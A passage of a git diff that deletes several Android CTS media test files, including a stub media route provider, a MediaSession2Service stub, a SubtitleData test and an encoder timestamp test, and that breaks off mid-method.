-
-        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
-                .setClientPackageName(packageName)
-                .build());
-        mRouteIdToSessionId.put(routeId, sessionId);
-
-        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(sessionId, packageName)
-                .addSelectedRoute(routeId)
-                .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                .addTransferableRoute(ROUTE_ID5_TO_TRANSFER_TO)
-                .setVolumeHandling(PLAYBACK_VOLUME_VARIABLE)
-                .setVolumeMax(SESSION_VOLUME_MAX)
-                .setVolume(SESSION_VOLUME_INITIAL)
-                // Set control hints with given sessionHints
-                .setControlHints(sessionHints)
-                .build();
-        notifySessionCreated(requestId, sessionInfo);
-        publishRoutes();
-    }
-
-    @Override
-    public void onReleaseSession(long requestId, String sessionId) {
-        Proxy proxy = mProxy;
-        if (doesProxyOverridesMethod(proxy, "onReleaseSession")) {
-            proxy.onReleaseSession(requestId, sessionId);
-            return;
-        }
-
-        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
-        if (sessionInfo == null) {
-            return;
-        }
-
-        for (String routeId : sessionInfo.getSelectedRoutes()) {
-            mRouteIdToSessionId.remove(routeId);
-            MediaRoute2Info route = mRoutes.get(routeId);
-            if (route != null) {
-                mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
-                        .setClientPackageName(null)
-                        .build());
-            }
-        }
-        notifySessionReleased(sessionId);
-        publishRoutes();
-    }
-
-    @Override
-    public void onDiscoveryPreferenceChanged(RouteDiscoveryPreference preference) {
-        Proxy proxy = mProxy;
-        if (doesProxyOverridesMethod(proxy, "onDiscoveryPreferenceChanged")) {
-            proxy.onDiscoveryPreferenceChanged(preference);
-            return;
-        }
-
-        // Just call the empty super method in order to mark the callback as tested.
-        super.onDiscoveryPreferenceChanged(preference);
-    }
-
-    @Override
-    public void onSelectRoute(long requestId, String sessionId, String routeId) {
-        Proxy proxy = mProxy;
-        if (doesProxyOverridesMethod(proxy, "onSelectRoute")) {
-            proxy.onSelectRoute(requestId, sessionId, routeId);
-            return;
-        }
-
-        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
-        MediaRoute2Info route = mRoutes.get(routeId);
-        if (route == null || sessionInfo == null) {
-            return;
-        }
-        maybeDeselectRoute(routeId, requestId);
-
-        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
-                .setClientPackageName(sessionInfo.getClientPackageName())
-                .build());
-        mRouteIdToSessionId.put(routeId, sessionId);
-        publishRoutes();
-
-        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
-                .addSelectedRoute(routeId)
-                .removeSelectableRoute(routeId)
-                .addDeselectableRoute(routeId)
-                .build();
-        notifySessionUpdated(newSessionInfo);
-    }
-
-    @Override
-    public void onDeselectRoute(long requestId, String sessionId, String routeId) {
-        Proxy proxy = mProxy;
-        if (doesProxyOverridesMethod(proxy, "onDeselectRoute")) {
-            proxy.onDeselectRoute(requestId, sessionId, routeId);
-            return;
-        }
-
-        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
-        MediaRoute2Info route = mRoutes.get(routeId);
-
-        if (sessionInfo == null || route == null
-                || !sessionInfo.getSelectedRoutes().contains(routeId)) {
-            return;
-        }
-
-        mRouteIdToSessionId.remove(routeId);
-        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
-                .setClientPackageName(null)
-                .build());
-        publishRoutes();
-
-        if (sessionInfo.getSelectedRoutes().size() == 1) {
-            notifySessionReleased(sessionId);
-            return;
-        }
-
-        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
-                .removeSelectedRoute(routeId)
-                .addSelectableRoute(routeId)
-                .removeDeselectableRoute(routeId)
-                .build();
-        notifySessionUpdated(newSessionInfo);
-    }
-
-    @Override
-    public void onTransferToRoute(long requestId, String sessionId, String routeId) {
-        Proxy proxy = mProxy;
-        if (doesProxyOverridesMethod(proxy, "onTransferToRoute")) {
-            proxy.onTransferToRoute(requestId, sessionId, routeId);
-            return;
-        }
-
-        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
-        MediaRoute2Info route = mRoutes.get(routeId);
-
-        if (sessionInfo == null || route == null) {
-            return;
-        }
-
-        for (String selectedRouteId : sessionInfo.getSelectedRoutes()) {
-            mRouteIdToSessionId.remove(selectedRouteId);
-            MediaRoute2Info selectedRoute = mRoutes.get(selectedRouteId);
-            if (selectedRoute != null) {
-                mRoutes.put(selectedRouteId, new MediaRoute2Info.Builder(selectedRoute)
-                        .setClientPackageName(null)
-                        .build());
-            }
-        }
-
-        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
-                .setClientPackageName(sessionInfo.getClientPackageName())
-                .build());
-        mRouteIdToSessionId.put(routeId, sessionId);
-
-        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
-                .clearSelectedRoutes()
-                .addSelectedRoute(routeId)
-                .removeDeselectableRoute(routeId)
-                .removeTransferableRoute(routeId)
-                .build();
-        notifySessionUpdated(newSessionInfo);
-        publishRoutes();
-    }
-
-    /**
-     * Adds a route and publishes it. It could replace a route in the provider if
-     * they have the same route id.
-     */
-    public void addRoute(@NonNull MediaRoute2Info route) {
-        Objects.requireNonNull(route, "route must not be null");
-        mRoutes.put(route.getOriginalId(), route);
-        publishRoutes();
-    }
-
-    /**
-     * Removes a route and publishes it.
-     */
-    public void removeRoute(@NonNull String routeId) {
-        Objects.requireNonNull(routeId, "routeId must not be null");
-        MediaRoute2Info route = mRoutes.get(routeId);
-        if (route != null) {
-            mRoutes.remove(routeId);
-            publishRoutes();
-        }
-    }
-
-    void maybeDeselectRoute(String routeId, long requestId) {
-        if (!mRouteIdToSessionId.containsKey(routeId)) {
-            return;
-        }
-
-        String sessionId = mRouteIdToSessionId.get(routeId);
-        onDeselectRoute(requestId, sessionId, routeId);
-    }
-
-    void publishRoutes() {
-        notifyRoutes(new ArrayList<>(mRoutes.values()));
-    }
-
-    public static class Proxy {
-        public void onCreateSession(long requestId, @NonNull String packageName,
-                @NonNull String routeId, @Nullable Bundle sessionHints) {}
-        public void onReleaseSession(long requestId, @NonNull String sessionId) {}
-        public void onSelectRoute(long requestId, @NonNull String sessionId,
-                @NonNull String routeId) {}
-        public void onDeselectRoute(long requestId, @NonNull String sessionId,
-                @NonNull String routeId) {}
-        public void onTransferToRoute(long requestId, @NonNull String sessionId,
-                @NonNull String routeId) {}
-        public void onDiscoveryPreferenceChanged(RouteDiscoveryPreference preference) {}
-        // TODO: Handle onSetRouteVolume() && onSetSessionVolume()
-    }
-
-    private static boolean doesProxyOverridesMethod(Proxy proxy, String methodName) {
-        if (proxy == null) {
-            return false;
-        }
-        Method[] methods = proxy.getClass().getMethods();
-        if (methods == null) {
-            return false;
-        }
-        for (int i = 0; i < methods.length; i++) {
-            if (methods[i].getName().equals(methodName)) {
-                // Found method. Check if it overrides
-                return methods[i].getDeclaringClass() != Proxy.class;
-            }
-        }
-        return false;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/StubMediaSession2Service.java b/tests/tests/media/src/android/media/cts/StubMediaSession2Service.java
deleted file mode 100644
index 687910c..0000000
--- a/tests/tests/media/src/android/media/cts/StubMediaSession2Service.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaSession2;
-import android.media.MediaSession2.ControllerInfo;
-import android.media.MediaSession2Service;
-import android.media.Session2CommandGroup;
-import android.os.Process;
-
-import com.android.internal.annotations.GuardedBy;
-
-import java.util.List;
-
-/**
- * Stub implementation of {@link MediaSession2Service} for testing.
- */
-public class StubMediaSession2Service extends MediaSession2Service {
-    /**
-     * ID of the session that this service will create.
-     */
-    private static final String ID = "StubMediaSession2Service";
-
-    @GuardedBy("StubMediaSession2Service.class")
-    private static HandlerExecutor sHandlerExecutor;
-    @GuardedBy("StubMediaSession2Service.class")
-    private static StubMediaSession2Service sInstance;
-    @GuardedBy("StubMediaSession2Service.class")
-    private static TestInjector sTestInjector;
-
-    public static void setHandlerExecutor(HandlerExecutor handlerExecutor) {
-        synchronized (StubMediaSession2Service.class) {
-            sHandlerExecutor = handlerExecutor;
-        }
-    }
-
-    public static StubMediaSession2Service getInstance() {
-        synchronized (StubMediaSession2Service.class) {
-            return sInstance;
-        }
-    }
-
-    public static void setTestInjector(TestInjector injector) {
-        synchronized (StubMediaSession2Service.class) {
-            sTestInjector = injector;
-        }
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        synchronized (StubMediaSession2Service.class) {
-            sInstance = this;
-        }
-    }
-
-    @Override
-    public void onDestroy() {
-        List<MediaSession2> sessions = getSessions();
-        for (MediaSession2 session : sessions) {
-            session.close();
-        }
-        synchronized (StubMediaSession2Service.class) {
-            if (sTestInjector != null) {
-                sTestInjector.onServiceDestroyed();
-            }
-            sInstance = null;
-        }
-        super.onDestroy();
-    }
-
-    @Override
-    public MediaNotification onUpdateNotification(MediaSession2 session) {
-        synchronized (StubMediaSession2Service.class) {
-            if (sTestInjector != null) {
-                sTestInjector.onUpdateNotification(session);
-            }
-            sInstance = null;
-        }
-        return null;
-    }
-
-    @Override
-    public MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-        synchronized (StubMediaSession2Service.class) {
-            if (sTestInjector != null) {
-                return sTestInjector.onGetSession(controllerInfo);
-            }
-        }
-        if (getSessions().size() > 0) {
-            return getSessions().get(0);
-        }
-        return new MediaSession2.Builder(this)
-                .setId(ID)
-                .setSessionCallback(sHandlerExecutor, new MediaSession2.SessionCallback() {
-                    @Override
-                    public Session2CommandGroup onConnect(MediaSession2 session,
-                            ControllerInfo controller) {
-                        if (controller.getUid() == Process.myUid()) {
-                            return new Session2CommandGroup.Builder().build();
-                        }
-                        return null;
-                    }
-                }).build();
-    }
-
-    public static abstract class TestInjector {
-        MediaSession2 onGetSession(ControllerInfo controllerInfo) {
-            return null;
-        }
-
-        MediaNotification onUpdateNotification(MediaSession2 session) {
-            return null;
-        }
-
-        void onServiceDestroyed() {
-            // no-op
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java b/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
deleted file mode 100644
index 9cd4144..0000000
--- a/tests/tests/media/src/android/media/cts/SubtitleDataTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.SubtitleData;
-import android.test.AndroidTestCase;
-
-import java.nio.charset.StandardCharsets;
-
-/**
- * Tests for SubtitleData.
- */
-@NonMediaMainlineTest
-public class SubtitleDataTest extends AndroidTestCase {
-    private static final String SUBTITLE_RAW_DATA = "RAW_DATA";
-
-    public void testSubtitleData() {
-        SubtitleData subtitle = new SubtitleData(1, 1000, 100, SUBTITLE_RAW_DATA.getBytes());
-        assertEquals(1, subtitle.getTrackIndex());
-        assertEquals(1000, subtitle.getStartTimeUs());
-        assertEquals(100, subtitle.getDurationUs());
-        assertEquals(SUBTITLE_RAW_DATA, new String(subtitle.getData(), StandardCharsets.UTF_8));
-    }
-
-    public void testSubtitleDataNullData() {
-        try {
-            SubtitleData subtitle2 = new SubtitleData(1, 0, 0, null);
-        } catch (IllegalArgumentException e) {
-            // Expected
-            return;
-        }
-        fail();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java b/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
deleted file mode 100644
index f15bb6e..0000000
--- a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
+++ /dev/null
@@ -1,503 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertTrue;
-
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodec.CodecException;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaFormat;
-import android.opengl.GLES20;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.filters.SdkSuppress;
-
-import java.util.Arrays;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Consumer;
-import java.util.function.Supplier;
-
-@Presubmit
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-@SmallTest
-@RequiresDevice
-public class SurfaceEncodeTimestampTest extends AndroidTestCase {
-    private static final String TAG = SurfaceEncodeTimestampTest.class.getSimpleName();
-    private static final boolean DEBUG = false;
-
-    private static final Color COLOR_BLOCK =
-            Color.valueOf(1.0f, 1.0f, 1.0f);
-    private static final Color[] COLOR_BARS = {
-            Color.valueOf(0.0f, 0.0f, 0.0f),
-            Color.valueOf(0.0f, 0.0f, 0.64f),
-            Color.valueOf(0.0f, 0.64f, 0.0f),
-            Color.valueOf(0.0f, 0.64f, 0.64f),
-            Color.valueOf(0.64f, 0.0f, 0.0f),
-            Color.valueOf(0.64f, 0.0f, 0.64f),
-            Color.valueOf(0.64f, 0.64f, 0.0f),
-    };
-    private static final int BORDER_WIDTH = 16;
-    private static final int OUTPUT_FRAME_RATE = 30;
-
-    private Handler mHandler;
-    private HandlerThread mHandlerThread;
-    private MediaCodec mEncoder;
-    private InputSurface mInputEglSurface;
-    private int mInputCount;
-
-    @Override
-    public void setUp() throws Exception {
-        if (mHandlerThread == null) {
-            mHandlerThread = new HandlerThread(
-                    "EncoderThread", Process.THREAD_PRIORITY_FOREGROUND);
-            mHandlerThread.start();
-            mHandler = new Handler(mHandlerThread.getLooper());
-        }
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        mHandler = null;
-        if (mHandlerThread != null) {
-            mHandlerThread.quit();
-            mHandlerThread = null;
-        }
-    }
-
-    /*
-     * Test KEY_MAX_PTS_GAP_TO_ENCODER
-     *
-     * This key is supposed to cap the gap between any two frames fed to the encoder,
-     * and restore the output pts back to the original. Since the pts is not supposed
-     * to be modified, we can't really verify that the "capping" actually took place.
-     * However, we can at least verify that the pts is preserved.
-     */
-    public void testMaxPtsGap() throws Throwable {
-        long[] inputPts = {1000000, 2000000, 3000000, 4000000};
-        long[] expectedOutputPts = {1000000, 2000000, 3000000, 4000000};
-        doTest(inputPts, expectedOutputPts, (format) -> {
-            format.setLong(MediaFormat.KEY_MAX_PTS_GAP_TO_ENCODER, 33333);
-        });
-    }
-
-    /*
-     * Test that by default backward-going frames get dropped.
-     */
-    public void testBackwardFrameDroppedWithoutFixedPtsGap() throws Throwable {
-        long[] inputPts = {33333, 66667, 66000, 100000};
-        long[] expectedOutputPts = {33333, 66667, 100000};
-        doTest(inputPts, expectedOutputPts, null);
-    }
-
-    /*
-     * Test KEY_MAX_PTS_GAP_TO_ENCODER
-     *
-     * Test that when fixed pts gap is used, backward-going frames are accepted
-     * and the pts is preserved.
-     */
-    public void testBackwardFramePreservedWithFixedPtsGap() throws Throwable {
-        long[] inputPts = {33333, 66667, 66000, 100000};
-        long[] expectedOutputPts = {33333, 66667, 66000, 100000};
-        doTest(inputPts, expectedOutputPts, (format) -> {
-            format.setLong(MediaFormat.KEY_MAX_PTS_GAP_TO_ENCODER, -33333);
-        });
-    }
-
-    /*
-     * Test KEY_MAX_FPS_TO_ENCODER
-     *
-     * Input frames are timestamped at 60fps, the key is supposed to drop
-     * one every other frame to maintain 30fps output.
-     */
-    public void testMaxFps() throws Throwable {
-        long[] inputPts = {16667, 33333, 50000, 66667, 83333};
-        long[] expectedOutputPts = {16667, 50000, 83333};
-        doTest(inputPts, expectedOutputPts, (format) -> {
-            format.setFloat(MediaFormat.KEY_MAX_FPS_TO_ENCODER, 30.0f);
-        });
-    }
-
-    /*
-     * Test KEY_CAPTURE_RATE
-     *
-     * Input frames are timestamped at various capture fps to simulate slow-motion
-     * or timelapse recording scenarios. The key is supposed to adjust (stretch or
-     * compress) the output timestamp so that the output fps becomes that specified
-     * by  KEY_FRAME_RATE.
-     */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
-    public void testCaptureFps() throws Throwable {
-        // test slow motion
-        testCaptureFps(120, false /*useFloatKey*/);
-        testCaptureFps(240, true /*useFloatKey*/);
-
-        // test timelapse
-        testCaptureFps(1, false /*useFloatKey*/);
-    }
-
-    private void testCaptureFps(int captureFps, final boolean useFloatKey) throws Throwable {
-        long[] inputPts = new long[4];
-        long[] expectedOutputPts = new long[4];
-        final long bastPts = 1000000;
-        for (int i = 0; i < inputPts.length; i++) {
-            inputPts[i] = bastPts + (int)(i * 1000000.0f / captureFps + 0.5f);
-            expectedOutputPts[i] = inputPts[i] * captureFps / OUTPUT_FRAME_RATE;
-        }
-
-        doTest(inputPts, expectedOutputPts, (format) -> {
-            if (useFloatKey) {
-                format.setFloat(MediaFormat.KEY_CAPTURE_RATE, captureFps);
-            } else {
-                format.setInteger(MediaFormat.KEY_CAPTURE_RATE, captureFps);
-            }
-        });
-    }
-
-    /*
-     * Test KEY_REPEAT_PREVIOUS_FRAME_AFTER
-     *
-     * Test that the frame is repeated at least once if no new frame arrives after
-     * the specified amount of time.
-     */
-    public void testRepeatPreviousFrameAfter() throws Throwable {
-        long[] inputPts = {16667, 33333, -100000, 133333};
-        long[] expectedOutputPts = {16667, 33333, 103333};
-        doTest(inputPts, expectedOutputPts, (format) -> {
-            format.setLong(MediaFormat.KEY_REPEAT_PREVIOUS_FRAME_AFTER, 70000);
-        });
-    }
-
-    /*
-     * Test KEY_CREATE_INPUT_SURFACE_SUSPENDED and PARAMETER_KEY_SUSPEND
-     *
-     * Start the encoder with KEY_CREATE_INPUT_SURFACE_SUSPENDED set, then resume
-     * by PARAMETER_KEY_SUSPEND. Verify only frames after resume are captured.
-     */
-    public void testCreateInputSurfaceSuspendedResume() throws Throwable {
-        // Using PARAMETER_KEY_SUSPEND (instead of PARAMETER_KEY_SUSPEND +
-        // PARAMETER_KEY_SUSPEND_TIME) to resume doesn't enforce a time
-        // for the action to take effect. Due to the asynchronous operation
-        // between the MediaCodec's parameters and the input surface, frames
-        // rendered before the resume call may reach encoder input side after
-        // the resume. Here we do a slight wait (100000us) to make sure that
-        // the resume only takes effect on the frame with timestamp 100000.
-        long[] inputPts = {33333, 66667, -100000, 100000, 133333};
-        long[] expectedOutputPts = {100000, 133333};
-        doTest(inputPts, expectedOutputPts, (format) -> {
-            format.setInteger(MediaFormat.KEY_CREATE_INPUT_SURFACE_SUSPENDED, 1);
-        }, () -> {
-            Bundle params = new Bundle();
-            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
-            return params;
-        });
-    }
-
-    /*
-     * Test KEY_CREATE_INPUT_SURFACE_SUSPENDED,
-     * PARAMETER_KEY_SUSPEND and PARAMETER_KEY_SUSPEND_TIME
-     *
-     * Start the encoder with KEY_CREATE_INPUT_SURFACE_SUSPENDED set, then request resume
-     * at specific time using PARAMETER_KEY_SUSPEND + PARAMETER_KEY_SUSPEND_TIME.
-     * Verify only frames after the specified time are captured.
-     */
-     public void testCreateInputSurfaceSuspendedResumeWithTime() throws Throwable {
-         // Unlike using PARAMETER_KEY_SUSPEND alone to resume, using PARAMETER_KEY_SUSPEND
-         // + PARAMETER_KEY_SUSPEND_TIME to resume can be scheduled any time before the
-         // frame with the specified time arrives. Here we do it immediately after start.
-         long[] inputPts = {-1, 33333, 66667, 100000, 133333};
-         long[] expectedOutputPts = {100000, 133333};
-         doTest(inputPts, expectedOutputPts, (format) -> {
-             format.setInteger(MediaFormat.KEY_CREATE_INPUT_SURFACE_SUSPENDED, 1);
-         }, () -> {
-             Bundle params = new Bundle();
-             params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
-             params.putLong(MediaCodec.PARAMETER_KEY_SUSPEND_TIME, 100000);
-             return params;
-         });
-    }
-
-     /*
-      * Test PARAMETER_KEY_SUSPEND.
-      *
-      * Suspend/resume during capture, and verify that frames during the suspension
-      * period are dropped.
-      */
-    public void testSuspendedResume() throws Throwable {
-        // Using PARAMETER_KEY_SUSPEND (instead of PARAMETER_KEY_SUSPEND +
-        // PARAMETER_KEY_SUSPEND_TIME) to suspend/resume doesn't enforce a time
-        // for the action to take effect. Due to the asynchronous operation
-        // between the MediaCodec's parameters and the input surface, frames
-        // rendered before the request may reach encoder input side after
-        // the request. Here we do a slight wait (100000us) to make sure that
-        // the suspend/resume only takes effect on the next frame.
-        long[] inputPts = {33333, 66667, -100000, 100000, 133333, -100000, 166667};
-        long[] expectedOutputPts = {33333, 66667, 166667};
-        doTest(inputPts, expectedOutputPts, null, () -> {
-            Bundle params = new Bundle();
-            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 1);
-            return params;
-        }, () -> {
-            Bundle params = new Bundle();
-            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
-            return params;
-        });
-    }
-
-    /*
-     * Test PARAMETER_KEY_SUSPEND + PARAMETER_KEY_SUSPEND_TIME.
-     *
-     * Suspend/resume with specified time during capture, and verify that frames during
-     * the suspension period are dropped.
-     */
-    public void testSuspendedResumeWithTime() throws Throwable {
-        // Unlike using PARAMETER_KEY_SUSPEND alone to suspend/resume, requests using
-        // PARAMETER_KEY_SUSPEND + PARAMETER_KEY_SUSPEND_TIME can be scheduled any time
-        // before the frame with the specified time arrives. Queue both requests shortly
-        // after start and test that they take place at the proper frames.
-        long[] inputPts = {-1, 33333, -1, 66667, 100000, 133333, 166667};
-        long[] expectedOutputPts = {33333, 66667, 166667};
-        doTest(inputPts, expectedOutputPts, null, () -> {
-            Bundle params = new Bundle();
-            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 1);
-            params.putLong(MediaCodec.PARAMETER_KEY_SUSPEND_TIME, 100000);
-            return params;
-        }, () -> {
-            Bundle params = new Bundle();
-            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
-            params.putLong(MediaCodec.PARAMETER_KEY_SUSPEND_TIME, 166667);
-            return params;
-        });
-    }
-
-    /*
-     * Test PARAMETER_KEY_OFFSET_TIME.
-     *
-     * Apply PARAMETER_KEY_OFFSET_TIME during capture, and verify that the pts
-     * of frames after the request are adjusted by the offset correctly.
-     */
-    public void testOffsetTime() throws Throwable {
-        long[] inputPts = {33333, 66667, -100000, 100000, 133333};
-        long[] expectedOutputPts = {33333, 66667, 83333, 116666};
-        doTest(inputPts, expectedOutputPts, null, () -> {
-            Bundle params = new Bundle();
-            params.putLong(MediaCodec.PARAMETER_KEY_OFFSET_TIME, -16667);
-            return params;
-        });
-    }
-
-    private void doTest(long[] inputPtsUs, long[] expectedOutputPtsUs,
-            Consumer<MediaFormat> configSetter, Supplier<Bundle>... paramGetter) throws Exception {
-
-        try {
-            if (DEBUG) Log.d(TAG, "started");
-
-            // setup surface encoder format
-            mEncoder = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC);
-            MediaFormat codecFormat = MediaFormat.createVideoFormat(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720);
-            codecFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 0);
-            codecFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    CodecCapabilities.COLOR_FormatSurface);
-            codecFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_FRAME_RATE);
-            codecFormat.setInteger(MediaFormat.KEY_BITRATE_MODE,
-                    MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_VBR);
-            codecFormat.setInteger(MediaFormat.KEY_BIT_RATE, 6000000);
-
-            if (configSetter != null) {
-                configSetter.accept(codecFormat);
-            }
-
-            CountDownLatch latch = new CountDownLatch(1);
-
-            // configure and start encoder
-            long[] actualOutputPtsUs = new long[expectedOutputPtsUs.length];
-            mEncoder.setCallback(new EncoderCallback(latch, actualOutputPtsUs), mHandler);
-            mEncoder.configure(codecFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-
-            mInputEglSurface = new InputSurface(mEncoder.createInputSurface());
-
-            mEncoder.start();
-
-            mInputCount = 0;
-            int paramIndex = 0;
-            // perform input operations
-            for (int i = 0; i < inputPtsUs.length; i++) {
-                if (DEBUG) Log.d(TAG, "drawFrame: " + i + ", pts " + inputPtsUs[i]);
-
-                if (inputPtsUs[i] < 0) {
-                    if (inputPtsUs[i] < -1) {
-                        // larger negative number means that a sleep is required
-                        // before the parameter test.
-                        Thread.sleep(-inputPtsUs[i]/1000);
-                    }
-                    if (paramIndex < paramGetter.length && paramGetter[paramIndex] != null) {
-                        // this means a pause to apply parameter to be tested
-                        mEncoder.setParameters(paramGetter[paramIndex].get());
-                    }
-                    paramIndex++;
-                } else {
-                    drawFrame(1280, 720, inputPtsUs[i]);
-                }
-            }
-
-            // if it worked there is really no reason to take longer..
-            latch.await(1000, TimeUnit.MILLISECONDS);
-
-            // verify output timestamps
-            assertTrue("mismatch in output timestamp",
-                    Arrays.equals(expectedOutputPtsUs, actualOutputPtsUs));
-
-            if (DEBUG) Log.d(TAG, "stopped");
-        } finally {
-            if (mEncoder != null) {
-                mEncoder.stop();
-                mEncoder.release();
-                mEncoder = null;
-            }
-            if (mInputEglSurface != null) {
-                // This also releases the surface from encoder.
-                mInputEglSurface.release();
-                mInputEglSurface = null;
-            }
-        }
-    }
-
-    class EncoderCallback extends MediaCodec.Callback {
-        private boolean mOutputEOS;
-        private int mOutputCount;
-        private final CountDownLatch mLatch;
-        private final long[] mActualOutputPts;
-        private final int mMaxOutput;
-
-        EncoderCallback(CountDownLatch latch, long[] actualOutputPts) {
-            mLatch = latch;
-            mActualOutputPts = actualOutputPts;
-            mMaxOutput = actualOutputPts.length;
-        }
-
-        @Override
-        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-            if (codec != mEncoder) return;
-            if (DEBUG) Log.d(TAG, "onOutputFormatChanged: " + format);
-        }
-
-        @Override
-        public void onInputBufferAvailable(MediaCodec codec, int index) {
-            if (codec != mEncoder) return;
-            if (DEBUG) Log.d(TAG, "onInputBufferAvailable: " + index);
-        }
-
-        @Override
-        public void onOutputBufferAvailable(MediaCodec codec, int index, BufferInfo info) {
-            if (codec != mEncoder || mOutputEOS) return;
-
-            if (DEBUG) {
-                Log.d(TAG, "onOutputBufferAvailable: " + index
-                        + ", time " + info.presentationTimeUs
-                        + ", size " + info.size
-                        + ", flags " + info.flags);
-            }
-
-            if ((info.size > 0) && ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0)) {
-                mActualOutputPts[mOutputCount++] = info.presentationTimeUs;
-            }
-
-            mOutputEOS |= ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) ||
-                    (mOutputCount == mMaxOutput);
-
-            codec.releaseOutputBuffer(index, false);
-
-            if (mOutputEOS) {
-                stopAndNotify(null);
-            }
-        }
-
-        @Override
-        public void onError(MediaCodec codec, CodecException e) {
-            if (codec != mEncoder) return;
-
-            Log.e(TAG, "onError: " + e);
-            stopAndNotify(e);
-        }
-
-        private void stopAndNotify(CodecException e) {
-            mLatch.countDown();
-        }
-    }
-
-    private void drawFrame(int width, int height, long ptsUs) {
-        mInputEglSurface.makeCurrent();
-        generateSurfaceFrame(mInputCount, width, height);
-        mInputEglSurface.setPresentationTime(1000 * ptsUs);
-        mInputEglSurface.swapBuffers();
-        mInputCount++;
-    }
-
-    private static Rect getColorBarRect(int index, int width, int height) {
-        int barWidth = (width - BORDER_WIDTH * 2) / COLOR_BARS.length;
-        return new Rect(BORDER_WIDTH + barWidth * index, BORDER_WIDTH,
-                BORDER_WIDTH + barWidth * (index + 1), height - BORDER_WIDTH);
-    }
-
-    private static Rect getColorBlockRect(int index, int width, int height) {
-        int blockCenterX = (width / 5) * (index % 4 + 1);
-        return new Rect(blockCenterX - width / 10, height / 6,
-                        blockCenterX + width / 10, height / 3);
-    }
-
-    private void generateSurfaceFrame(int frameIndex, int width, int height) {
-        GLES20.glViewport(0, 0, width, height);
-        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glClearColor(1.0f, 0.0f, 0.0f, 1.0f);
